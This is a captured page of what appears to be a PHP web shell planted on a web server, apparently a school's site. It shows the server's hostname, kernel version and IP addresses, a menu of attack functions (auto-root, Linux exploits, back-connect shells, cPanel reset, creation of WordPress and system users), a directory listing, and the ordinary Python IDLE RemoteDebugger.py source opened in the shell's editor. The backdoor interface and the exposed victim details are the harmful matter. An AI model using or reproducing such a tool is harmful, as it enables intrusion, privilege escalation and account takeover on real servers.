Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.12.71.166
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python2.7 /
idlelib /
[ HOME SHELL ]
Name
Size
Permission
Action
Icons
[ DIR ]
drwxr-xr-x
AutoComplete.py
8.79
KB
-rw-r--r--
AutoComplete.pyc
7.69
KB
-rw-r--r--
AutoComplete.pyo
7.69
KB
-rw-r--r--
AutoCompleteWindow.py
16.8
KB
-rw-r--r--
AutoCompleteWindow.pyc
12.15
KB
-rw-r--r--
AutoCompleteWindow.pyo
12.09
KB
-rw-r--r--
AutoExpand.py
2.42
KB
-rw-r--r--
AutoExpand.pyc
2.5
KB
-rw-r--r--
AutoExpand.pyo
2.5
KB
-rw-r--r--
Bindings.py
3.22
KB
-rw-r--r--
Bindings.pyc
4.76
KB
-rw-r--r--
Bindings.pyo
4.76
KB
-rw-r--r--
CREDITS.txt
1.82
KB
-rw-r--r--
CallTipWindow.py
5.98
KB
-rw-r--r--
CallTipWindow.pyc
6.14
KB
-rw-r--r--
CallTipWindow.pyo
6.14
KB
-rw-r--r--
CallTips.py
7.75
KB
-rw-r--r--
CallTips.pyc
10.14
KB
-rw-r--r--
CallTips.pyo
10.14
KB
-rw-r--r--
ChangeLog
55.07
KB
-rw-r--r--
ClassBrowser.py
6.22
KB
-rw-r--r--
ClassBrowser.pyc
8.95
KB
-rw-r--r--
ClassBrowser.pyo
8.95
KB
-rw-r--r--
CodeContext.py
8.15
KB
-rw-r--r--
CodeContext.pyc
6.52
KB
-rw-r--r--
CodeContext.pyo
6.47
KB
-rw-r--r--
ColorDelegator.py
10.13
KB
-rw-r--r--
ColorDelegator.pyc
8.71
KB
-rw-r--r--
ColorDelegator.pyo
8.71
KB
-rw-r--r--
Debugger.py
15.45
KB
-rw-r--r--
Debugger.pyc
16.55
KB
-rw-r--r--
Debugger.pyo
16.55
KB
-rw-r--r--
Delegator.py
831
B
-rw-r--r--
Delegator.pyc
1.58
KB
-rw-r--r--
Delegator.pyo
1.58
KB
-rw-r--r--
EditorWindow.py
63.29
KB
-rw-r--r--
EditorWindow.pyc
55.13
KB
-rw-r--r--
EditorWindow.pyo
55.03
KB
-rw-r--r--
FileList.py
3.57
KB
-rw-r--r--
FileList.pyc
3.86
KB
-rw-r--r--
FileList.pyo
3.82
KB
-rw-r--r--
FormatParagraph.py
5.66
KB
-rw-r--r--
FormatParagraph.pyc
4.69
KB
-rw-r--r--
FormatParagraph.pyo
4.69
KB
-rw-r--r--
GrepDialog.py
3.96
KB
-rw-r--r--
GrepDialog.pyc
4.9
KB
-rw-r--r--
GrepDialog.pyo
4.9
KB
-rw-r--r--
HISTORY.txt
10.08
KB
-rw-r--r--
HyperParser.py
10.31
KB
-rw-r--r--
HyperParser.pyc
6.49
KB
-rw-r--r--
HyperParser.pyo
6.49
KB
-rw-r--r--
IOBinding.py
20.69
KB
-rw-r--r--
IOBinding.pyc
17.16
KB
-rw-r--r--
IOBinding.pyo
17.16
KB
-rw-r--r--
IdleHistory.py
3.07
KB
-rw-r--r--
IdleHistory.pyc
3.13
KB
-rw-r--r--
IdleHistory.pyo
3.13
KB
-rw-r--r--
MultiCall.py
17.07
KB
-rw-r--r--
MultiCall.pyc
15.55
KB
-rw-r--r--
MultiCall.pyo
15.48
KB
-rw-r--r--
MultiStatusBar.py
783
B
-rw-r--r--
MultiStatusBar.pyc
1.49
KB
-rw-r--r--
MultiStatusBar.pyo
1.49
KB
-rw-r--r--
NEWS.txt
28.32
KB
-rw-r--r--
ObjectBrowser.py
4.05
KB
-rw-r--r--
ObjectBrowser.pyc
6.56
KB
-rw-r--r--
ObjectBrowser.pyo
6.56
KB
-rw-r--r--
OutputWindow.py
4.47
KB
-rw-r--r--
OutputWindow.pyc
5.11
KB
-rw-r--r--
OutputWindow.pyo
5.11
KB
-rw-r--r--
ParenMatch.py
6.47
KB
-rw-r--r--
ParenMatch.pyc
6.82
KB
-rw-r--r--
ParenMatch.pyo
6.82
KB
-rw-r--r--
PathBrowser.py
2.58
KB
-rw-r--r--
PathBrowser.pyc
4.02
KB
-rw-r--r--
PathBrowser.pyo
4.02
KB
-rw-r--r--
Percolator.py
2.55
KB
-rw-r--r--
Percolator.pyc
3.55
KB
-rw-r--r--
Percolator.pyo
3.37
KB
-rw-r--r--
PyParse.py
19.05
KB
-rw-r--r--
PyParse.pyc
9.77
KB
-rw-r--r--
PyParse.pyo
9.34
KB
-rw-r--r--
PyShell.py
54.81
KB
-rw-r--r--
PyShell.pyc
49.14
KB
-rw-r--r--
PyShell.pyo
49.04
KB
-rw-r--r--
README.txt
2.56
KB
-rw-r--r--
RemoteDebugger.py
11.38
KB
-rw-r--r--
RemoteDebugger.pyc
15.97
KB
-rw-r--r--
RemoteDebugger.pyo
15.82
KB
-rw-r--r--
RemoteObjectBrowser.py
942
B
-rw-r--r--
RemoteObjectBrowser.pyc
2.1
KB
-rw-r--r--
RemoteObjectBrowser.pyo
2.1
KB
-rw-r--r--
ReplaceDialog.py
5.69
KB
-rw-r--r--
ReplaceDialog.pyc
6.32
KB
-rw-r--r--
ReplaceDialog.pyo
6.32
KB
-rw-r--r--
RstripExtension.py
824
B
-rw-r--r--
RstripExtension.pyc
1.45
KB
-rw-r--r--
RstripExtension.pyo
1.45
KB
-rw-r--r--
ScriptBinding.py
8.22
KB
-rw-r--r--
ScriptBinding.pyc
7.96
KB
-rw-r--r--
ScriptBinding.pyo
7.96
KB
-rw-r--r--
ScrolledList.py
3.9
KB
-rw-r--r--
ScrolledList.pyc
6.03
KB
-rw-r--r--
ScrolledList.pyo
6.03
KB
-rw-r--r--
SearchDialog.py
1.99
KB
-rw-r--r--
SearchDialog.pyc
2.93
KB
-rw-r--r--
SearchDialog.pyo
2.93
KB
-rw-r--r--
SearchDialogBase.py
4.28
KB
-rw-r--r--
SearchDialogBase.pyc
5.37
KB
-rw-r--r--
SearchDialogBase.pyo
5.37
KB
-rw-r--r--
SearchEngine.py
6.57
KB
-rw-r--r--
SearchEngine.pyc
7.02
KB
-rw-r--r--
SearchEngine.pyo
7.02
KB
-rw-r--r--
StackViewer.py
3.77
KB
-rw-r--r--
StackViewer.pyc
5.79
KB
-rw-r--r--
StackViewer.pyo
5.79
KB
-rw-r--r--
TODO.txt
8.28
KB
-rw-r--r--
ToolTip.py
2.67
KB
-rw-r--r--
ToolTip.pyc
4.05
KB
-rw-r--r--
ToolTip.pyo
4.05
KB
-rw-r--r--
TreeWidget.py
14.87
KB
-rw-r--r--
TreeWidget.pyc
17.48
KB
-rw-r--r--
TreeWidget.pyo
17.48
KB
-rw-r--r--
UndoDelegator.py
10.04
KB
-rw-r--r--
UndoDelegator.pyc
12.27
KB
-rw-r--r--
UndoDelegator.pyo
12.27
KB
-rw-r--r--
WidgetRedirector.py
4.37
KB
-rw-r--r--
WidgetRedirector.pyc
5.23
KB
-rw-r--r--
WidgetRedirector.pyo
5.23
KB
-rw-r--r--
WindowList.py
2.42
KB
-rw-r--r--
WindowList.pyc
3.55
KB
-rw-r--r--
WindowList.pyo
3.55
KB
-rw-r--r--
ZoomHeight.py
1.28
KB
-rw-r--r--
ZoomHeight.pyc
1.61
KB
-rw-r--r--
ZoomHeight.pyo
1.61
KB
-rw-r--r--
__init__.py
37
B
-rw-r--r--
__init__.pyc
127
B
-rw-r--r--
__init__.pyo
127
B
-rw-r--r--
aboutDialog.py
6.42
KB
-rw-r--r--
aboutDialog.pyc
6.63
KB
-rw-r--r--
aboutDialog.pyo
6.63
KB
-rw-r--r--
config-extensions.def
2.72
KB
-rw-r--r--
config-highlight.def
1.7
KB
-rw-r--r--
config-keys.def
7.35
KB
-rw-r--r--
config-main.def
2.45
KB
-rw-r--r--
configDialog.py
52.23
KB
-rw-r--r--
configDialog.pyc
43.81
KB
-rw-r--r--
configDialog.pyo
43.81
KB
-rw-r--r--
configHandler.py
28.68
KB
-rw-r--r--
configHandler.pyc
26.83
KB
-rw-r--r--
configHandler.pyo
26.83
KB
-rw-r--r--
configHelpSourceEdit.py
6.52
KB
-rw-r--r--
configHelpSourceEdit.pyc
6.56
KB
-rw-r--r--
configHelpSourceEdit.pyo
6.56
KB
-rw-r--r--
configSectionNameDialog.py
3.63
KB
-rw-r--r--
configSectionNameDialog.pyc
4.21
KB
-rw-r--r--
configSectionNameDialog.pyo
4.21
KB
-rw-r--r--
dynOptionMenuWidget.py
1.27
KB
-rw-r--r--
dynOptionMenuWidget.pyc
1.66
KB
-rw-r--r--
dynOptionMenuWidget.pyo
1.66
KB
-rw-r--r--
extend.txt
3.56
KB
-rw-r--r--
help.txt
11.72
KB
-rw-r--r--
idle.py
400
B
-rw-r--r--
idle.pyc
406
B
-rw-r--r--
idle.pyo
406
B
-rw-r--r--
idle.pyw
664
B
-rw-r--r--
idlever.py
23
B
-rw-r--r--
idlever.pyc
159
B
-rw-r--r--
idlever.pyo
159
B
-rw-r--r--
keybindingDialog.py
12.12
KB
-rw-r--r--
keybindingDialog.pyc
12.05
KB
-rw-r--r--
keybindingDialog.pyo
12.05
KB
-rw-r--r--
macosxSupport.py
6.08
KB
-rw-r--r--
macosxSupport.pyc
6.25
KB
-rw-r--r--
macosxSupport.pyo
6.25
KB
-rw-r--r--
rpc.py
19.75
KB
-rw-r--r--
rpc.pyc
21.26
KB
-rw-r--r--
rpc.pyo
21.16
KB
-rw-r--r--
run.py
11.54
KB
-rw-r--r--
run.pyc
12.14
KB
-rw-r--r--
run.pyo
12.08
KB
-rw-r--r--
tabbedpages.py
17.76
KB
-rw-r--r--
tabbedpages.pyc
17.67
KB
-rw-r--r--
tabbedpages.pyo
17.67
KB
-rw-r--r--
textView.py
3.46
KB
-rw-r--r--
textView.pyc
4.2
KB
-rw-r--r--
textView.pyo
4.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RemoteDebugger.py
"""Support for remote Python debugging. Some ASCII art to describe the structure: IN PYTHON SUBPROCESS # IN IDLE PROCESS # # oid='gui_adapter' +----------+ # +------------+ +-----+ | GUIProxy |--remote#call-->| GUIAdapter |--calls-->| GUI | +-----+--calls-->+----------+ # +------------+ +-----+ | Idb | # / +-----+<-calls--+------------+ # +----------+<--calls-/ | IdbAdapter |<--remote#call--| IdbProxy | +------------+ # +----------+ oid='idb_adapter' # The purpose of the Proxy and Adapter classes is to translate certain arguments and return values that cannot be transported through the RPC barrier, in particular frame and traceback objects. """ import types from idlelib import rpc from idlelib import Debugger debugging = 0 idb_adap_oid = "idb_adapter" gui_adap_oid = "gui_adapter" #======================================= # # In the PYTHON subprocess: frametable = {} dicttable = {} codetable = {} tracebacktable = {} def wrap_frame(frame): fid = id(frame) frametable[fid] = frame return fid def wrap_info(info): "replace info[2], a traceback instance, by its ID" if info is None: return None else: traceback = info[2] assert isinstance(traceback, types.TracebackType) traceback_id = id(traceback) tracebacktable[traceback_id] = traceback modified_info = (info[0], info[1], traceback_id) return modified_info class GUIProxy: def __init__(self, conn, gui_adap_oid): self.conn = conn self.oid = gui_adap_oid def interaction(self, message, frame, info=None): # calls rpc.SocketIO.remotecall() via run.MyHandler instance # pass frame and traceback object IDs instead of the objects themselves self.conn.remotecall(self.oid, "interaction", (message, wrap_frame(frame), wrap_info(info)), {}) class IdbAdapter: def __init__(self, idb): self.idb = idb #----------called by an IdbProxy---------- def set_step(self): self.idb.set_step() def set_quit(self): self.idb.set_quit() def set_continue(self): self.idb.set_continue() def set_next(self, fid): frame = frametable[fid] self.idb.set_next(frame) def set_return(self, fid): frame = frametable[fid] self.idb.set_return(frame) def get_stack(self, fid, tbid): ##print >>sys.__stderr__, "get_stack(%r, %r)" % (fid, tbid) frame = frametable[fid] if tbid is None: tb = None else: tb = tracebacktable[tbid] stack, i = self.idb.get_stack(frame, tb) ##print >>sys.__stderr__, "get_stack() ->", stack stack = [(wrap_frame(frame), k) for frame, k in stack] ##print >>sys.__stderr__, "get_stack() ->", stack return stack, i def run(self, cmd): import __main__ self.idb.run(cmd, __main__.__dict__) def set_break(self, filename, lineno): msg = self.idb.set_break(filename, lineno) return msg def clear_break(self, filename, lineno): msg = self.idb.clear_break(filename, lineno) return msg def clear_all_file_breaks(self, filename): msg = self.idb.clear_all_file_breaks(filename) return msg #----------called by a FrameProxy---------- def frame_attr(self, fid, name): frame = frametable[fid] return getattr(frame, name) def frame_globals(self, fid): frame = frametable[fid] dict = frame.f_globals did = id(dict) dicttable[did] = dict return did def frame_locals(self, fid): frame = frametable[fid] dict = frame.f_locals did = id(dict) dicttable[did] = dict return did def frame_code(self, fid): frame = frametable[fid] code = frame.f_code cid = id(code) codetable[cid] = code return cid #----------called by a CodeProxy---------- def code_name(self, cid): code = codetable[cid] return code.co_name def code_filename(self, cid): code = codetable[cid] return code.co_filename #----------called by a DictProxy---------- def dict_keys(self, did): dict = dicttable[did] return dict.keys() def dict_item(self, did, key): dict = dicttable[did] value = dict[key] value = repr(value) return value #----------end class IdbAdapter---------- def start_debugger(rpchandler, gui_adap_oid): """Start the debugger and its RPC link in the Python subprocess Start the subprocess side of the split debugger and set up that side of the RPC link by instantiating the GUIProxy, Idb debugger, and IdbAdapter objects and linking them together. Register the IdbAdapter with the RPCServer to handle RPC requests from the split debugger GUI via the IdbProxy. """ gui_proxy = GUIProxy(rpchandler, gui_adap_oid) idb = Debugger.Idb(gui_proxy) idb_adap = IdbAdapter(idb) rpchandler.register(idb_adap_oid, idb_adap) return idb_adap_oid #======================================= # # In the IDLE process: class FrameProxy: def __init__(self, conn, fid): self._conn = conn self._fid = fid self._oid = "idb_adapter" self._dictcache = {} def __getattr__(self, name): if name[:1] == "_": raise AttributeError, name if name == "f_code": return self._get_f_code() if name == "f_globals": return self._get_f_globals() if name == "f_locals": return self._get_f_locals() return self._conn.remotecall(self._oid, "frame_attr", (self._fid, name), {}) def _get_f_code(self): cid = self._conn.remotecall(self._oid, "frame_code", (self._fid,), {}) return CodeProxy(self._conn, self._oid, cid) def _get_f_globals(self): did = self._conn.remotecall(self._oid, "frame_globals", (self._fid,), {}) return self._get_dict_proxy(did) def _get_f_locals(self): did = self._conn.remotecall(self._oid, "frame_locals", (self._fid,), {}) return self._get_dict_proxy(did) def _get_dict_proxy(self, did): if did in self._dictcache: return self._dictcache[did] dp = DictProxy(self._conn, self._oid, did) self._dictcache[did] = dp return dp class CodeProxy: def __init__(self, conn, oid, cid): self._conn = conn self._oid = oid self._cid = cid def __getattr__(self, name): if name == "co_name": return self._conn.remotecall(self._oid, "code_name", (self._cid,), {}) if name == "co_filename": return self._conn.remotecall(self._oid, "code_filename", (self._cid,), {}) class DictProxy: def __init__(self, conn, oid, did): self._conn = conn self._oid = oid self._did = did def keys(self): return self._conn.remotecall(self._oid, "dict_keys", (self._did,), {}) def __getitem__(self, key): return self._conn.remotecall(self._oid, "dict_item", (self._did, key), {}) def __getattr__(self, name): ##print >>sys.__stderr__, "failed DictProxy.__getattr__:", name raise AttributeError, name class GUIAdapter: def __init__(self, conn, gui): self.conn = conn self.gui = gui def interaction(self, message, fid, modified_info): ##print "interaction: (%s, %s, %s)" % (message, fid, modified_info) frame = FrameProxy(self.conn, fid) self.gui.interaction(message, frame, modified_info) class IdbProxy: def __init__(self, conn, shell, oid): self.oid = oid self.conn = conn self.shell = shell def call(self, methodname, *args, **kwargs): ##print "**IdbProxy.call %s %s %s" % (methodname, args, kwargs) value = self.conn.remotecall(self.oid, methodname, args, kwargs) ##print "**IdbProxy.call %s returns %r" % (methodname, value) return value def run(self, cmd, locals): # Ignores locals on purpose! seq = self.conn.asyncqueue(self.oid, "run", (cmd,), {}) self.shell.interp.active_seq = seq def get_stack(self, frame, tbid): # passing frame and traceback IDs, not the objects themselves stack, i = self.call("get_stack", frame._fid, tbid) stack = [(FrameProxy(self.conn, fid), k) for fid, k in stack] return stack, i def set_continue(self): self.call("set_continue") def set_step(self): self.call("set_step") def set_next(self, frame): self.call("set_next", frame._fid) def set_return(self, frame): self.call("set_return", frame._fid) def set_quit(self): self.call("set_quit") def set_break(self, filename, lineno): msg = self.call("set_break", filename, lineno) return msg def clear_break(self, filename, lineno): msg = self.call("clear_break", filename, lineno) return msg def clear_all_file_breaks(self, filename): msg = self.call("clear_all_file_breaks", filename) return msg def start_remote_debugger(rpcclt, pyshell): """Start the subprocess debugger, initialize the debugger GUI and RPC link Request the RPCServer start the Python subprocess debugger and link. Set up the Idle side of the split debugger by instantiating the IdbProxy, debugger GUI, and debugger GUIAdapter objects and linking them together. Register the GUIAdapter with the RPCClient to handle debugger GUI interaction requests coming from the subprocess debugger via the GUIProxy. The IdbAdapter will pass execution and environment requests coming from the Idle debugger GUI to the subprocess debugger via the IdbProxy. """ global idb_adap_oid idb_adap_oid = rpcclt.remotecall("exec", "start_the_debugger",\ (gui_adap_oid,), {}) idb_proxy = IdbProxy(rpcclt, pyshell, idb_adap_oid) gui = Debugger.Debugger(pyshell, idb_proxy) gui_adap = GUIAdapter(rpcclt, gui) rpcclt.register(gui_adap_oid, gui_adap) return gui def close_remote_debugger(rpcclt): """Shut down subprocess debugger and Idle side of debugger RPC link Request that the RPCServer shut down the subprocess debugger and link. Unregister the GUIAdapter, which will cause a GC on the Idle process debugger and RPC link objects. (The second reference to the debugger GUI is deleted in PyShell.close_remote_debugger().) """ close_subprocess_debugger(rpcclt) rpcclt.unregister(gui_adap_oid) def close_subprocess_debugger(rpcclt): rpcclt.remotecall("exec", "stop_the_debugger", (idb_adap_oid,), {}) def restart_subprocess_debugger(rpcclt): idb_adap_oid_ret = rpcclt.remotecall("exec", "start_the_debugger",\ (gui_adap_oid,), {}) assert idb_adap_oid_ret == idb_adap_oid, 'Idb restarted with different oid'
Close